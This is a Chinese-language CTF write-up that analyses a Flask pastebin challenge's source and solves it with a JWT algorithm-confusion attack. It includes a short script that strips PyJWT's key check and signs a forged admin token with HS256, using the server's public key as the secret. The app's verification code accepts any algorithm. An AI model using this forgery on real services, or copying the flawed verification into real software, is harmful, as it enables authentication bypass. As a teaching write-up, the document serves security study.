題目鏈接https://github.com/wonderkun/CTF_web/tree/5b08d23ba4086992cbb9f3f4da89a6bb1346b305/web300-6
參考鏈接 https://skysec.top/2018/05/19/2018CUMTCTF-Final-Web/#Pastebin?tdsourcetag=s_pctim_aiomsg
https://chybeta.github.io/2017/08/29/HITB-CTF-2017-Pasty-writeup/
http://www.cnblogs.com/dliv3/p/7450057.html
雖然看着表哥的思路把題目解出來了,但還是雲里霧里的,拿到源碼分析一波把

1 import os,time 2 from flask import Flask, render_template, request,jsonify 3 from flask_sqlalchemy import SQLAlchemy 4 import jwt 5 import string 6 from Crypto import Random 7 from Crypto.Hash import SHA 8 from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5 9 from Crypto.Signature import PKCS1_v1_5 as Signature_pkcs1_v1_5 10 from Crypto.PublicKey import RSA 11 import base64 12 import cgi 13 from urllib import quote 14 from urllib import unquote 15 import hashlib 16 import json 17 18 19 app = Flask(__name__) 20 app.secret_key = os.urandom(24) 21 app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/pastebin.db' 22 app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True 23 db = SQLAlchemy(app) 24 random_generator = Random.new().read 25 rsa = RSA.generate(1024, random_generator) 26 27 class User(db.Model): 28 __tablename__ = 'user' 29 id = db.Column(db.Integer, primary_key=True) 30 username = db.Column(db.Text) 31 password = db.Column(db.Text) 32 priv = db.Column(db.Text) 33 key = db.Column(db.Text) 34 token = db.Column(db.Text) 35 36 def __init__(self, username, password, priv, key, token): 37 self.username = username 38 self.password = password 39 self.priv = priv 40 self.key = key 41 self.token = token 42 43 def __repr__(self): 44 return '<User id:{}, username:{}, password:{}, priv:{}, key:{}, token:{}>'.format(self.id, self.username, self.password, self.priv, self.key, self.token) 45 46 class Link(db.Model): 47 __tablename__ = 'link' 48 id = db.Column(db.Integer, primary_key=True) 49 username = db.Column(db.Text) 50 link = db.Column(db.Text) 51 content = db.Column(db.Text) 52 53 def __init__(self, username, link, content): 54 self.username = username 55 self.link = link 56 self.content = content 57 58 def __repr__(self): 59 return '<Link id:{}, username:{}, link:{}, content:{}'.format(self.id, self.username, self.link, self.content) 60 61 def defense(input_str): 62 for c in input_str: 63 if c not in string.letters and c not in string.digits: 64 return False 65 return True 66 67 def getmd5(str): 68 m = hashlib.md5() 69 m.update(str) 70 return m.hexdigest() 71 72 def getname(str, value): 73 try: 74 tmp = str.split('.')[1] 75 while True: 76 if len(tmp)%4 == 0: 77 break 78 tmp = tmp + "=" 79 username = json.loads(base64.b64decode(tmp))['name'] 80 except: 81 return False 82 user = User.query.filter_by(username=username,).first() 83 if not user: 84 return False 85 key_name = user.key 86 with open('./pubkey/' + key_name + '.pem', 'r') as f: 87 secret = f.read() 88 # print(secret) 89 try: 90 de_user = jwt.decode(str, secret) 91 except Exception as e: 92 # print(e) 93 return False 94 # print(de_user) 95 name = de_user[value] 96 return name 97 98 99 @app.route("/") 100 def index(): 101 return render_template("index.html") 102 103 @app.route("/user") 104 def user(): 105 return render_template("user.html") 106 107 @app.route("/reg",methods=['POST']) 108 def reg(): 109 regname = request.form['regname'] 110 if regname == "admin": 111 return jsonify(result=False,) 112 regpass = request.form['regpass'] 113 if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first(): 114 return jsonify(result=False,) 115 private_pem = rsa.exportKey() 116 public_pem = rsa.publickey().exportKey() 117 key_name = getmd5(regname + regpass) 118 with open('./key/' + key_name + '.pem', 'w') as f: 119 f.write(private_pem) 120 with open('./pubkey/' + key_name + '.pem', 'w') as f: 121 f.write(public_pem) 122 if regname == "admin": 123 priv = "admin" 124 else: 125 priv = "other" 126 token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256') 127 user = User(regname, regpass, priv, key_name, token) 128 db.session.add(user) 129 db.session.commit() 130 return jsonify(result=True,) 131 @app.route("/login",methods=['POST']) 132 def login(): 133 username = request.form['name'] 134 password = request.form['pass'] 135 if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password): 136 return jsonify(result=False,) 137 user = User.query.filter_by(username=username,password=password,).first() 138 if not user: 139 return jsonify(result=False,) 140 return jsonify(result=True,token=user.token,) 141 142 @app.route("/paste",methods=['POST']) 143 def paste(): 144 content = unquote(request.form['content']) 145 if len(content)>300: 146 return jsonify(result=False,) 147 try: 148 post_token = request.headers['Authorization'][7:] 149 except: 150 return jsonify(result=False,) 151 name = getname(post_token, "name") 152 if name == False: 153 return jsonify(result=False,) 154 if name == "admin": 155 return jsonify(result=False,) 156 link = getmd5(os.urandom(24)) 157 content = cgi.escape(content) 158 li = Link(name, link, content) 159 db.session.add(li) 160 db.session.commit() 161 return jsonify(result=True,link=name+":"+link) 162 163 @app.route("/list",methods=["GET"]) 164 def list(): 165 try: 166 post_token = request.headers['Authorization'][7:] 167 except: 168 return jsonify(result=False,) 169 name = getname(post_token, "name") 170 if name == False: 171 return jsonify(result=False,) 172 priv = getname(post_token, "priv") 173 if priv == False: 174 return jsonify(result=False,) 175 if priv == "other": 176 li = Link.query.filter_by(username=name,) 177 links = [] 178 for lin in li: 179 links.append(name + ":" + lin.link) 180 return jsonify(result=True,username=name,links=links) 181 if priv == "admin": 182 li = Link.query.filter_by() 183 links = [] 184 for lin in li: 185 links.append(lin.username + ":" + lin.link) 186 return jsonify(result=True,username="admin",links=links) 187 188 @app.route("/pubkey/<key>",methods=["GET"]) 189 def getkey(key): 190 try: 191 with open('./pubkey/' + key + '.pem', 'r') as f: 192 secret = f.read() 193 return jsonify(result=True,pubkey=secret,) 194 except: 195 return jsonify(result=False,) 196 197 @app.route("/text/<link>",methods=["GET"]) 198 def getcontent(link): 199 name = link.split(":")[0] 200 links = link.split(":")[1] 201 if defense(name) == False or defense(links) == False: 202 return jsonify(result=False,) 203 li = Link.query.filter_by(username=name,link=links,).first() 204 if not li: 205 return jsonify(result=False,) 206 return jsonify(result=True,content=li.content,) 207 208 209 app.run(debug=False,host='0.0.0.0')
是用flask寫的先看注冊的代碼
1 @app.route("/reg",methods=['POST']) 2 def reg(): 3 regname = request.form['regname'] 4 if regname == "admin": 5 return jsonify(result=False,) 6 regpass = request.form['regpass'] 7 if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first(): 8 return jsonify(result=False,) 9 private_pem = rsa.exportKey() 10 public_pem = rsa.publickey().exportKey() 11 key_name = getmd5(regname + regpass) 12 with open('./key/' + key_name + '.pem', 'w') as f: 13 f.write(private_pem) 14 with open('./pubkey/' + key_name + '.pem', 'w') as f: 15 f.write(public_pem) 16 if regname == "admin": 17 priv = "admin" 18 else: 19 priv = "other" 20 token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256') 21 user = User(regname, regpass, priv, key_name, token) 22 db.session.add(user) 23 db.session.commit() 24 return jsonify(result=True,)
首先是不允許注冊admin用戶 其次會判斷賬號密碼長度>5 且<20 然后會進入defen函數
def defense(input_str): for c in input_str: if c not in string.letters and c not in string.digits: return False return True
跟進去發現是要求參數必須是
然后會生成rsa的公鑰私鑰
private_pem = rsa.exportKey()
public_pem = rsa.publickey().exportKey()
之后會把用戶的私鑰和公鑰存放在目錄中
key_name = getmd5(regname + regpass) with open('./key/' + key_name + '.pem', 'w') as f: f.write(private_pem) with open('./pubkey/' + key_name + '.pem', 'w') as f: f.write(public_pem)
命名格式為
getmd5(regname + regpass)
之后是給普通用戶為other權限
再之后生成token
token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
查閱資料如下
JWT簽名算法中,一般有兩個選擇,一個采用HS256,另外一個就是采用RS256。 簽名實際上是一個加密的過程,生成一段標識(也是JWT的一部分)作為接收方驗證信息是否被篡改的依據。 RS256 (采用SHA-256 的 RSA 簽名) 是一種非對稱算法, 它使用公共/私鑰對: 標識提供方采用私鑰生成簽名, JWT 的使用方獲取公鑰以驗證簽名。由於公鑰 (與私鑰相比) 不需要保護, 因此大多數標識提供方使其易於使用方獲取和使用 (通常通過一個元數據URL)。 另一方面, HS256 (帶有 SHA-256 的 HMAC 是一種對稱算法, 雙方之間僅共享一個 密鑰。由於使用相同的密鑰生成簽名和驗證簽名, 因此必須注意確保密鑰不被泄密。 在開發應用的時候啟用JWT,使用RS256更加安全,你可以控制誰能使用什么類型的密鑰。另外,如果你無法控制客戶端,無法做到密鑰的完全保密,RS256會是個更佳的選擇,JWT的使用方只需要知道公鑰。 由於公鑰通常可以從元數據URL節點獲得,因此可以對客戶端進行進行編程以自動檢索公鑰。如果采用這種方式,從服務器上直接下載公鑰信息,可以有效的減少配置信息。
RS256為非對稱的算法
標識提供方采用私鑰生成簽名, JWT 的使用方獲取公鑰以驗證簽名。
加密后入庫保存 具體數據庫操作代碼就不追蹤了,注冊流程到這
接着看登陸的函數
@app.route("/login",methods=['POST']) def login(): username = request.form['name'] password = request.form['pass'] if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password): return jsonify(result=False,) user = User.query.filter_by(username=username,password=password,).first() if not user: return jsonify(result=False,) return jsonify(result=True,token=user.token,)
邏輯上差不多就是個登陸驗證,登陸成功后進入了主界面有兩個功能
一個是存儲的功能paste 另一個是查看功能看看你存儲了哪些東西,先來看paste功能
@app.route("/paste",methods=['POST']) def paste(): content = unquote(request.form['content']) if len(content)>300: return jsonify(result=False,) try: post_token = request.headers['Authorization'][7:] except: return jsonify(result=False,) name = getname(post_token, "name") if name == False: return jsonify(result=False,) if name == "admin": return jsonify(result=False,) link = getmd5(os.urandom(24)) content = cgi.escape(content) li = Link(name, link, content) db.session.add(li) db.session.commit() return jsonify(result=True,link=name+":"+link)
接受傳進來的參數content 並且長度不能大於300 獲取http頭中的參數
post_token = request.headers['Authorization'][7:]
然后從Authorization解析出name變量來
name = getname(post_token, "name")
跟進getname函數
def getname(str, value): try: tmp = str.split('.')[1] while True: if len(tmp)%4 == 0: break tmp = tmp + "=" username = json.loads(base64.b64decode(tmp))['name'] except: return False user = User.query.filter_by(username=username,).first() if not user: return False key_name = user.key with open('./pubkey/' + key_name + '.pem', 'r') as f: secret = f.read() # print(secret) try: de_user = jwt.decode(str, secret) except Exception as e: # print(e) return False # print(de_user) name = de_user[value] return name
先用burpsuite抓包看看Authorzation是啥樣
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdGVyIiwicHJpdiI6Im90aGVyIn0.FTnXqCb7drMUhsKChxDWIDdG6_KkC7bFORthEhQJh5JamKMeUB4aNGYgh_M0UTcZGcN_3I0ElsboDA4QglrLZVtllzXAYpunHWWH15BDtMaFk7aqwxqRzBCyWDM7vjErq3YvzYBnguwtF_uaTtKWN9DvNSyVk0eP-hae13JBdRY
這就是用jwt 以rs256加密后的
token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
有個解析的網站https://jwt.io/#debugger-io 扔進去看看

由3個部分組成的,由三個.分隔,分別是
header
payload
Sinature
每一部分都是base64編碼的。
header
通常由兩部分組成:令牌的類型,即JWT和正在使用的散列算法,如HMAC SHA256或RSA
{ "alg": "RS256", "typ": "JWT" }
alg為算法的縮寫,typ為類型的縮寫,然后,這個JSON被Base64編碼,形成JSON Web Token的第一部分。
payload
令牌的第二部分是包含聲明的有效負載。聲明是關於實體(通常是用戶)和其他元數據的聲明。 這里是用戶隨意定義的數據 例如上面的舉例
{ "name": "tester", "priv": "other" }
Signature
要創建簽名部分,必須采用header,payload,密鑰。然后利用header中指定算法進行簽名,例如RS256(RSA SHA256),簽名的構成為:
RSASHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), Public Key or Certificate. Enter it in plain text only if you want to verify a token , Private Key. Enter it in plain text only if you want to generate a new token. The key never leaves your browser. )
HS256(HMAC SHA256),簽名的構成為:
HMACSHA256( base64Encode(header) + "." + base64Encode(payload), secret)
繼續看name函數
調試輸出一下試試
username為當前用戶名
然后根據用戶名 進入數據庫查到對應的公鑰user.key並賦值給secret
user = User.query.filter_by(username=username,).first()
然后進入
de_user = jwt.decode(str, secret)
這里的str是剛才jwt.decode用私鑰 以rs256的方式加密的,然后將公鑰secret給他解密后 給de_user返回value
將內容打印出來
取所需要的value返回
走回paste函數往下走 這個類似php中轉義xss的那個函數htmlbalbalba
cgi.escape(txt) #
這樣paste函數就完事了
之后進入list函數
@app.route("/list",methods=["GET"]) def list(): try: post_token = request.headers['Authorization'][7:] except: return jsonify(result=False,) name = getname(post_token, "name") if name == False: return jsonify(result=False,) priv = getname(post_token, "priv") if priv == False: return jsonify(result=False,) if priv == "other": li = Link.query.filter_by(username=name,) links = [] for lin in li: links.append(name + ":" + lin.link) return jsonify(result=True,username=name,links=links) if priv == "admin": li = Link.query.filter_by() links = [] for lin in li: links.append(lin.username + ":" + lin.link) return jsonify(result=True,username="admin",links=links)
首先通過獲取到想要的值
name = getname(post_token, "name") priv = getname(post_token, "priv")
接下來判斷如果name的權限是other就返回該name的paste內容 是admin 就返回所有的paste內容
代碼通讀完了 大體功能也了解了 雖然不知道具體細節 但大體思路還是清楚的大概就是驗證身份的時候存在問題
這其實是一個算法篡改攻擊,因為服務器利用的RS256算法,用的是私鑰進行簽名,公鑰進行驗證的,(https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/)
查看js /static/js/common.js
function getpubkey(){ /* get the pubkey for test /pubkey/{md5(username+password)} */ }
可以通過這里找到自己私鑰
{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvXqtl0+ilz1cyajoUq/zzxYj\nZQtPA5WxUx1/vrZ7vhWcOg/3AwI1WN7xfHFC2UFVOtPeg3OmYRUO0Q9uM2OaNPNA\nWAGO5ZDOg3KARpj5ZdKLBM+GXD0KZEv+a/C+NbTHyE7EeDbLnWi0b5ROiMZ0sf0d\nmP1N6WZfm1RULtH4EQIDAQAB\n-----END PUBLIC KEY-----","result":true}
規范下格式
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvXqtl0+ilz1cyajoUq/zzxYj\nZQtPA5WxUx1/vrZ7vhWcOg/3AwI1WN7xfHFC2UFVOtPeg3OmYRUO0Q9uM2OaNPNA\nWAGO5ZDOg3KARpj5ZdKLBM+GXD0KZEv+a/C+NbTHyE7EeDbLnWi0b5ROiMZ0sf0d\nmP1N6WZfm1RULtH4EQIDAQAB -----END PUBLIC KEY-----
我們可以獲取到自己的public key。JWT的header部分中,有簽名算法標識alg,而alg是用於簽名算法的選擇,最后保證用戶的數據不被篡改。但是在數據處理不正確的情況下,可能存在alg的惡意篡改。我們可以偽造算法為hs256,然后利用我們的獲取的public key,來簽名偽造的數據,繞過驗證。PyJWT庫中對這種攻擊做了預防,不允許hs256的密鑰中出現下面這些字符,具體見algorithms.py:151
直接注釋掉
def prepare_key(self, key): key = force_bytes(key) return key
import jwt public = open("1.txt",'r').read() print jwt.encode({"name":"aoligei","priv":"admin"},key=public,algorithm='HS256')
生成的字符串替換掉對應的Authortion
list的時候再次進入get_name函數的時候
key_name = user.key with open('./pubkey/' + key_name + '.pem', 'r') as f: secret = f.read()
從數據庫取出來的secret 和用通過pubkey目錄的公鑰是一樣的 因為HS256是對稱的所以直接解密即可 偽造一個admin權限繞過if